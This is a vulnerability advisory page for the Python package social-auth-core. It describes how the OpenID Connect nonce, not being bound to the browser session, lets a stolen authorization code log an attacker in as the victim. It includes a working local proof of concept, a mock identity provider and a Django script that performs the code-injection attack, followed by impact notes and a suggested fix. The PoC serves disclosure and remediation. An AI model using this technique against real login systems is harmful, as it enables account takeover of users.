GHSA-H2R5-X5M7-3935

Vulnerability from github – Published: 2026-10-28 21:16 – Updated: 2026-10-28 21:16
VLAI
Summary
Python Social Auth: OpenID Connect nonce is not bound to the browser session, so a stolen authorization code logs the attacker in as the victim
Details

Summary

The generic OpenID Connect backend (OpenIdConnectAuth and every backend built on it) stores the nonce in the shared Association table, not in the user's session. When the ID token comes back, validate_claims only checks that the nonce exists in that table and is not expired. It does not check that the nonce was issued to the browser that is finishing the login.

So the nonce does not do its job. OIDC Core (section 15.5.2) and RFC 9700 (section 4.5) use the nonce to stop authorization code injection: an attacker who gets hold of a victim's unused authorization code should not be able to redeem it in the attacker's own browser. With social-auth-core, the attacker can. They start their own login to get a valid state for their session, then hit the callback with the victim's code and their own state. state passes because it belongs to the attacker's session, and the nonce in the victim's ID token passes because it is in the global table. The attacker's browser is now logged in as the victim.

PKCE would block this, but OpenIdConnectAuth sets DEFAULT_USE_PKCE = False (the OAuth2 base class defaults to True), so the nonce is the only binding in the default setup.

Tested versions

social-auth-core 6.1.1 (latest), 6.1.0 and 5.2.0, with social-auth-app-django 7.1.0 and Django 6.1.2, Python 3.14. The same code is on master (098ef399c1).

Details

social_core/backends/open_id_connect.py in 6.1.1:

  • line 252: auth_params calls get_and_store_nonce(self.authorization_url(), state)
  • lines 333 to 346: get_and_store_nonce stores the nonce as an OpenIdConnectAssociation keyed by server_url and handle=nonce. The state goes into assoc_type but is never read back.
  • lines 348 to 358: get_nonce looks the nonce up by server_url and handle only
  • lines 393 to 415: validate_claims accepts any stored, unexpired nonce and removes it
  • line 110: DEFAULT_USE_PKCE = False

PoC

Everything runs locally. mockidp.py is a small OpenID provider on 127.0.0.1 that checks redirect_uri and enforces PKCE when a code_challenge was sent, like a normal provider. social_nonce.py uses two Django test clients as two browsers.

pip install social-auth-core social-auth-app-django django pyjwt cryptography
python social_nonce.py

Output on 6.1.1:

[inject] attacker session completes with victim code: (200, 'user=victim')

Controls:

MODE=control_victim python social_nonce.py
[control] victim completes normally: (200, 'user=victim')

MODE=control_unknown_nonce python social_nonce.py
[control] unknown nonce: ('EXC', 'AuthResponseError: The authentication response could not be matched to the request.')

PKCE=1 python social_nonce.py
[inject] attacker session completes with victim code: ('EXC', 'AuthCredentialError: The authorization code was rejected. Please restart login.')

So the nonce check runs, but it accepts a nonce that belongs to another browser. With PKCE on, the same attack fails.

mockidp.py:

"""Minimal local OpenID Provider on 127.0.0.1 for testing RP libraries."""
import json, time, secrets, threading, hashlib, base64, urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

class IdP:
    def __init__(self, port=0, client_id="rp-client", client_secret="rp-secret", name="idp"):
        self.key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        self.kid = name + "-k1"
        self.client_id, self.client_secret = client_id, client_secret
        self.codes = {}
        self.access = {}
        self.claims_override = {}
        self.srv = ThreadingHTTPServer(("127.0.0.1", port), self._handler())
        self.port = self.srv.server_address[1]
        self.issuer = f"http://127.0.0.1:{self.port}"
        threading.Thread(target=self.srv.serve_forever, daemon=True).start()

    def jwk(self):
        n = self.key.public_key().public_numbers()
        tb = lambda i: i.to_bytes((i.bit_length() + 7) // 8, "big")
        return {"kty": "RSA", "kid": self.kid, "use": "sig", "alg": "RS256", "n": b64u(tb(n.n)), "e": b64u(tb(n.e))}

    def discovery(self):
        i = self.issuer
        return {"issuer": i, "authorization_endpoint": i + "/authorize", "token_endpoint": i + "/token",
                "userinfo_endpoint": i + "/userinfo", "jwks_uri": i + "/jwks",
                "response_types_supported": ["code"], "subject_types_supported": ["public"],
                "id_token_signing_alg_values_supported": ["RS256"],
                "token_endpoint_auth_methods_supported": ["client_secret_basic", "client_secret_post"],
                "code_challenge_methods_supported": ["S256"]}

    def user_authorizes(self, authorize_url, sub):
        """The end user `sub` approves an authorization request; returns (code, params)."""
        q = dict(urllib.parse.parse_qsl(urllib.parse.urlsplit(authorize_url).query))
        code = "code-" + secrets.token_hex(8)
        self.codes[code] = {"sub": sub, "nonce": q.get("nonce"), "redirect_uri": q.get("redirect_uri"),
                            "code_challenge": q.get("code_challenge")}
        return code, q

    def sign(self, claims):
        return jwt.encode(claims, self.key, algorithm="RS256", headers={"kid": self.kid})

    def _handler(idp):
        class H(BaseHTTPRequestHandler):
            def log_message(self, *a): pass
            def _json(self, obj, code=200):
                b = json.dumps(obj).encode()
                self.send_response(code); self.send_header("Content-Type", "application/json")
                self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
            def do_GET(self):
                p = urllib.parse.urlsplit(self.path).path
                if p.endswith("/.well-known/openid-configuration"): return self._json(idp.discovery())
                if p == "/jwks": return self._json({"keys": [idp.jwk()]})
                if p == "/userinfo":
                    tok = (self.headers.get("Authorization") or "").split(" ")[-1]
                    sub = idp.access.get(tok)
                    if not sub: return self._json({"error": "invalid_token"}, 401)
                    return self._json({"sub": sub, "email": sub + "@example.test", "preferred_username": sub})
                return self._json({"error": "not_found"}, 404)
            def do_POST(self):
                n = int(self.headers.get("Content-Length") or 0)
                body = dict(urllib.parse.parse_qsl(self.rfile.read(n).decode()))
                p = urllib.parse.urlsplit(self.path).path
                if p == "/token":
                    rec = idp.codes.pop(body.get("code"), None)
                    if not rec: return self._json({"error": "invalid_grant"}, 400)
                    if rec["redirect_uri"] and body.get("redirect_uri") != rec["redirect_uri"]:
                        return self._json({"error": "invalid_grant"}, 400)
                    if rec["code_challenge"]:
                        v = body.get("code_verifier") or ""
                        if b64u(hashlib.sha256(v.encode()).digest()) != rec["code_challenge"]:
                            return self._json({"error": "invalid_grant"}, 400)
                    at = "at-" + secrets.token_hex(8)
                    idp.access[at] = rec["sub"]
                    now = int(time.time())
                    claims = {"iss": idp.issuer, "sub": rec["sub"], "aud": idp.client_id, "iat": now, "exp": now + 300,
                              "at_hash": b64u(hashlib.sha256(at.encode()).digest()[:16])}
                    if rec["nonce"]: claims["nonce"] = rec["nonce"]
                    claims.update(idp.claims_override)
                    return self._json({"access_token": at, "token_type": "Bearer", "expires_in": 300,
                                       "id_token": idp.sign(claims)})
                return self._json({"error": "not_found"}, 404)
        return H

social_nonce.py:

import os, sys
sys.path.insert(0, os.path.dirname(__file__))
from mockidp import IdP
idp = IdP()
import django
from django.conf import settings
PKCE = os.environ.get("PKCE") == "1"
settings.configure(
    DEBUG=True, SECRET_KEY="x", ALLOWED_HOSTS=["*"], ROOT_URLCONF=__name__,
    INSTALLED_APPS=["django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "social_django"],
    MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware"],
    DATABASES={"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}},
    AUTHENTICATION_BACKENDS=["social_core.backends.open_id_connect.OpenIdConnectAuth"],
    SOCIAL_AUTH_OIDC_OIDC_ENDPOINT=idp.issuer, SOCIAL_AUTH_OIDC_KEY=idp.client_id, SOCIAL_AUTH_OIDC_SECRET=idp.client_secret,
    SOCIAL_AUTH_OIDC_USE_PKCE=PKCE, SOCIAL_AUTH_LOGIN_REDIRECT_URL="/done/", SOCIAL_AUTH_RAISE_EXCEPTIONS=True,
)
django.setup()
from django.urls import include, path
from django.http import HttpResponse
urlpatterns = [path("", include("social_django.urls", namespace="social")),
               path("done/", lambda r: HttpResponse("user=%s" % r.user.username))]
from django.core.management import call_command
call_command("migrate", verbosity=0)
from django.test import Client

def begin(c):
    r = c.post("/login/oidc/"); assert r.status_code == 302, r.status_code
    return r["Location"]

def complete(c, code, state):
    try:
        r = c.get("/complete/oidc/", {"code": code, "state": state})
        if r.status_code == 302:
            r = c.get(r["Location"])
        return r.status_code, r.content.decode()
    except Exception as e:
        return "EXC", f"{type(e).__name__}: {e}"

victim, attacker = Client(), Client()
# Victim starts a login. The provider issues a code for "victim" tied to the victim's nonce.
v_url = begin(victim)
code_v, qv = idp.user_authorizes(v_url, "victim")
# Attacker starts a login in their own browser to get a valid state for their session.
a_url = begin(attacker)
_, qa = idp.user_authorizes(a_url, "attacker")
mode = os.environ.get("MODE", "inject")
if mode == "inject":
    print("[inject] attacker session completes with victim code:", complete(attacker, code_v, qa["state"]))
elif mode == "control_unknown_nonce":
    idp.claims_override = {"nonce": "never-issued-nonce"}
    print("[control] unknown nonce:", complete(attacker, code_v, qa["state"]))
elif mode == "control_victim":
    print("[control] victim completes normally:", complete(victim, code_v, qv["state"]))

Impact

An attacker who gets a victim's authorization code before it is used can log in to the relying party as the victim. Codes leak in practice through the callback URL: Referer headers, proxy or server logs, browser history and sync, a malicious browser extension, or an open redirect on the callback. This is the exact case the OIDC nonce is meant to cover. The attacker does not need the client secret, because the relying party itself redeems the code.

It affects every app that uses OpenIdConnectAuth or a backend built on it with the default settings (PKCE off).

Suggested fix

Bind the nonce to the session that started the login. For example, keep the nonce (or a hash of it) in the session next to state in auth_params, and in validate_claims compare the ID token nonce with the session value before removing it. Turning PKCE on by default for the OIDC backend would also close this, and matches the OAuth2 base class.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "social-auth-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-115910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-384"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:16:51Z",
    "nvd_published_at": "2026-10-26T17:17:18Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe generic OpenID Connect backend (`OpenIdConnectAuth` and every backend built on it) stores the `nonce` in the shared Association table, not in the user\u0027s session. When the ID token comes back, `validate_claims` only checks that the nonce exists in that table and is not expired. It does not check that the nonce was issued to the browser that is finishing the login.\n\nSo the nonce does not do its job. OIDC Core (section 15.5.2) and RFC 9700 (section 4.5) use the nonce to stop authorization code injection: an attacker who gets hold of a victim\u0027s unused authorization code should not be able to redeem it in the attacker\u0027s own browser. With social-auth-core, the attacker can. They start their own login to get a valid `state` for their session, then hit the callback with the victim\u0027s `code` and their own `state`. `state` passes because it belongs to the attacker\u0027s session, and the nonce in the victim\u0027s ID token passes because it is in the global table. The attacker\u0027s browser is now logged in as the victim.\n\nPKCE would block this, but `OpenIdConnectAuth` sets `DEFAULT_USE_PKCE = False` (the OAuth2 base class defaults to `True`), so the nonce is the only binding in the default setup.\n\n### Tested versions\n\nsocial-auth-core 6.1.1 (latest), 6.1.0 and 5.2.0, with social-auth-app-django 7.1.0 and Django 6.1.2, Python 3.14. The same code is on master (098ef399c1).\n\n### Details\n\n`social_core/backends/open_id_connect.py` in 6.1.1:\n\n- line 252: `auth_params` calls `get_and_store_nonce(self.authorization_url(), state)`\n- lines 333 to 346: `get_and_store_nonce` stores the nonce as an `OpenIdConnectAssociation` keyed by `server_url` and `handle=nonce`. The state goes into `assoc_type` but is never read back.\n- lines 348 to 358: `get_nonce` looks the nonce up by `server_url` and `handle` only\n- lines 393 to 415: `validate_claims` accepts any stored, unexpired nonce and removes it\n- line 110: `DEFAULT_USE_PKCE = False`\n\n### PoC\n\nEverything runs locally. `mockidp.py` is a small OpenID provider on 127.0.0.1 that checks `redirect_uri` and enforces PKCE when a `code_challenge` was sent, like a normal provider. `social_nonce.py` uses two Django test clients as two browsers.\n\n```\npip install social-auth-core social-auth-app-django django pyjwt cryptography\npython social_nonce.py\n```\n\nOutput on 6.1.1:\n\n```\n[inject] attacker session completes with victim code: (200, \u0027user=victim\u0027)\n```\n\nControls:\n\n```\nMODE=control_victim python social_nonce.py\n[control] victim completes normally: (200, \u0027user=victim\u0027)\n\nMODE=control_unknown_nonce python social_nonce.py\n[control] unknown nonce: (\u0027EXC\u0027, \u0027AuthResponseError: The authentication response could not be matched to the request.\u0027)\n\nPKCE=1 python social_nonce.py\n[inject] attacker session completes with victim code: (\u0027EXC\u0027, \u0027AuthCredentialError: The authorization code was rejected. Please restart login.\u0027)\n```\n\nSo the nonce check runs, but it accepts a nonce that belongs to another browser. With PKCE on, the same attack fails.\n\nmockidp.py:\n\n```python\n\"\"\"Minimal local OpenID Provider on 127.0.0.1 for testing RP libraries.\"\"\"\nimport json, time, secrets, threading, hashlib, base64, urllib.parse\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\nclass IdP:\n    def __init__(self, port=0, client_id=\"rp-client\", client_secret=\"rp-secret\", name=\"idp\"):\n        self.key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n        self.kid = name + \"-k1\"\n        self.client_id, self.client_secret = client_id, client_secret\n        self.codes = {}\n        self.access = {}\n        self.claims_override = {}\n        self.srv = ThreadingHTTPServer((\"127.0.0.1\", port), self._handler())\n        self.port = self.srv.server_address[1]\n        self.issuer = f\"http://127.0.0.1:{self.port}\"\n        threading.Thread(target=self.srv.serve_forever, daemon=True).start()\n\n    def jwk(self):\n        n = self.key.public_key().public_numbers()\n        tb = lambda i: i.to_bytes((i.bit_length() + 7) // 8, \"big\")\n        return {\"kty\": \"RSA\", \"kid\": self.kid, \"use\": \"sig\", \"alg\": \"RS256\", \"n\": b64u(tb(n.n)), \"e\": b64u(tb(n.e))}\n\n    def discovery(self):\n        i = self.issuer\n        return {\"issuer\": i, \"authorization_endpoint\": i + \"/authorize\", \"token_endpoint\": i + \"/token\",\n                \"userinfo_endpoint\": i + \"/userinfo\", \"jwks_uri\": i + \"/jwks\",\n                \"response_types_supported\": [\"code\"], \"subject_types_supported\": [\"public\"],\n                \"id_token_signing_alg_values_supported\": [\"RS256\"],\n                \"token_endpoint_auth_methods_supported\": [\"client_secret_basic\", \"client_secret_post\"],\n                \"code_challenge_methods_supported\": [\"S256\"]}\n\n    def user_authorizes(self, authorize_url, sub):\n        \"\"\"The end user `sub` approves an authorization request; returns (code, params).\"\"\"\n        q = dict(urllib.parse.parse_qsl(urllib.parse.urlsplit(authorize_url).query))\n        code = \"code-\" + secrets.token_hex(8)\n        self.codes[code] = {\"sub\": sub, \"nonce\": q.get(\"nonce\"), \"redirect_uri\": q.get(\"redirect_uri\"),\n                            \"code_challenge\": q.get(\"code_challenge\")}\n        return code, q\n\n    def sign(self, claims):\n        return jwt.encode(claims, self.key, algorithm=\"RS256\", headers={\"kid\": self.kid})\n\n    def _handler(idp):\n        class H(BaseHTTPRequestHandler):\n            def log_message(self, *a): pass\n            def _json(self, obj, code=200):\n                b = json.dumps(obj).encode()\n                self.send_response(code); self.send_header(\"Content-Type\", \"application/json\")\n                self.send_header(\"Content-Length\", str(len(b))); self.end_headers(); self.wfile.write(b)\n            def do_GET(self):\n                p = urllib.parse.urlsplit(self.path).path\n                if p.endswith(\"/.well-known/openid-configuration\"): return self._json(idp.discovery())\n                if p == \"/jwks\": return self._json({\"keys\": [idp.jwk()]})\n                if p == \"/userinfo\":\n                    tok = (self.headers.get(\"Authorization\") or \"\").split(\" \")[-1]\n                    sub = idp.access.get(tok)\n                    if not sub: return self._json({\"error\": \"invalid_token\"}, 401)\n                    return self._json({\"sub\": sub, \"email\": sub + \"@example.test\", \"preferred_username\": sub})\n                return self._json({\"error\": \"not_found\"}, 404)\n            def do_POST(self):\n                n = int(self.headers.get(\"Content-Length\") or 0)\n                body = dict(urllib.parse.parse_qsl(self.rfile.read(n).decode()))\n                p = urllib.parse.urlsplit(self.path).path\n                if p == \"/token\":\n                    rec = idp.codes.pop(body.get(\"code\"), None)\n                    if not rec: return self._json({\"error\": \"invalid_grant\"}, 400)\n                    if rec[\"redirect_uri\"] and body.get(\"redirect_uri\") != rec[\"redirect_uri\"]:\n                        return self._json({\"error\": \"invalid_grant\"}, 400)\n                    if rec[\"code_challenge\"]:\n                        v = body.get(\"code_verifier\") or \"\"\n                        if b64u(hashlib.sha256(v.encode()).digest()) != rec[\"code_challenge\"]:\n                            return self._json({\"error\": \"invalid_grant\"}, 400)\n                    at = \"at-\" + secrets.token_hex(8)\n                    idp.access[at] = rec[\"sub\"]\n                    now = int(time.time())\n                    claims = {\"iss\": idp.issuer, \"sub\": rec[\"sub\"], \"aud\": idp.client_id, \"iat\": now, \"exp\": now + 300,\n                              \"at_hash\": b64u(hashlib.sha256(at.encode()).digest()[:16])}\n                    if rec[\"nonce\"]: claims[\"nonce\"] = rec[\"nonce\"]\n                    claims.update(idp.claims_override)\n                    return self._json({\"access_token\": at, \"token_type\": \"Bearer\", \"expires_in\": 300,\n                                       \"id_token\": idp.sign(claims)})\n                return self._json({\"error\": \"not_found\"}, 404)\n        return H\n```\n\nsocial_nonce.py:\n\n```python\nimport os, sys\nsys.path.insert(0, os.path.dirname(__file__))\nfrom mockidp import IdP\nidp = IdP()\nimport django\nfrom django.conf import settings\nPKCE = os.environ.get(\"PKCE\") == \"1\"\nsettings.configure(\n    DEBUG=True, SECRET_KEY=\"x\", ALLOWED_HOSTS=[\"*\"], ROOT_URLCONF=__name__,\n    INSTALLED_APPS=[\"django.contrib.auth\", \"django.contrib.contenttypes\", \"django.contrib.sessions\", \"social_django\"],\n    MIDDLEWARE=[\"django.contrib.sessions.middleware.SessionMiddleware\", \"django.contrib.auth.middleware.AuthenticationMiddleware\"],\n    DATABASES={\"default\": {\"ENGINE\": \"django.db.backends.sqlite3\", \"NAME\": \":memory:\"}},\n    AUTHENTICATION_BACKENDS=[\"social_core.backends.open_id_connect.OpenIdConnectAuth\"],\n    SOCIAL_AUTH_OIDC_OIDC_ENDPOINT=idp.issuer, SOCIAL_AUTH_OIDC_KEY=idp.client_id, SOCIAL_AUTH_OIDC_SECRET=idp.client_secret,\n    SOCIAL_AUTH_OIDC_USE_PKCE=PKCE, SOCIAL_AUTH_LOGIN_REDIRECT_URL=\"/done/\", SOCIAL_AUTH_RAISE_EXCEPTIONS=True,\n)\ndjango.setup()\nfrom django.urls import include, path\nfrom django.http import HttpResponse\nurlpatterns = [path(\"\", include(\"social_django.urls\", namespace=\"social\")),\n               path(\"done/\", lambda r: HttpResponse(\"user=%s\" % r.user.username))]\nfrom django.core.management import call_command\ncall_command(\"migrate\", verbosity=0)\nfrom django.test import Client\n\ndef begin(c):\n    r = c.post(\"/login/oidc/\"); assert r.status_code == 302, r.status_code\n    return r[\"Location\"]\n\ndef complete(c, code, state):\n    try:\n        r = c.get(\"/complete/oidc/\", {\"code\": code, \"state\": state})\n        if r.status_code == 302:\n            r = c.get(r[\"Location\"])\n        return r.status_code, r.content.decode()\n    except Exception as e:\n        return \"EXC\", f\"{type(e).__name__}: {e}\"\n\nvictim, attacker = Client(), Client()\n# Victim starts a login. The provider issues a code for \"victim\" tied to the victim\u0027s nonce.\nv_url = begin(victim)\ncode_v, qv = idp.user_authorizes(v_url, \"victim\")\n# Attacker starts a login in their own browser to get a valid state for their session.\na_url = begin(attacker)\n_, qa = idp.user_authorizes(a_url, \"attacker\")\nmode = os.environ.get(\"MODE\", \"inject\")\nif mode == \"inject\":\n    print(\"[inject] attacker session completes with victim code:\", complete(attacker, code_v, qa[\"state\"]))\nelif mode == \"control_unknown_nonce\":\n    idp.claims_override = {\"nonce\": \"never-issued-nonce\"}\n    print(\"[control] unknown nonce:\", complete(attacker, code_v, qa[\"state\"]))\nelif mode == \"control_victim\":\n    print(\"[control] victim completes normally:\", complete(victim, code_v, qv[\"state\"]))\n```\n\n### Impact\n\nAn attacker who gets a victim\u0027s authorization code before it is used can log in to the relying party as the victim. Codes leak in practice through the callback URL: Referer headers, proxy or server logs, browser history and sync, a malicious browser extension, or an open redirect on the callback. This is the exact case the OIDC nonce is meant to cover. The attacker does not need the client secret, because the relying party itself redeems the code.\n\nIt affects every app that uses `OpenIdConnectAuth` or a backend built on it with the default settings (PKCE off).\n\n### Suggested fix\n\nBind the nonce to the session that started the login. For example, keep the nonce (or a hash of it) in the session next to `state` in `auth_params`, and in `validate_claims` compare the ID token nonce with the session value before removing it. Turning PKCE on by default for the OIDC backend would also close this, and matches the OAuth2 base class.",
  "id": "GHSA-h2r5-x5m7-3935",
  "modified": "2026-10-28T21:16:51Z",
  "published": "2026-10-28T21:16:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-social-auth/social-core/security/advisories/GHSA-h2r5-x5m7-3935"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115910"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-social-auth/social-core/pull/2141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-social-auth/social-core/commit/c2f2ae4663bef19ee8b07f2cf5a2344f9155d826"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-social-auth/social-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-social-auth/social-core/releases/tag/6.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Python Social Auth: OpenID Connect nonce is not bound to the browser session, so a stolen authorization code logs the attacker in as the victim"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…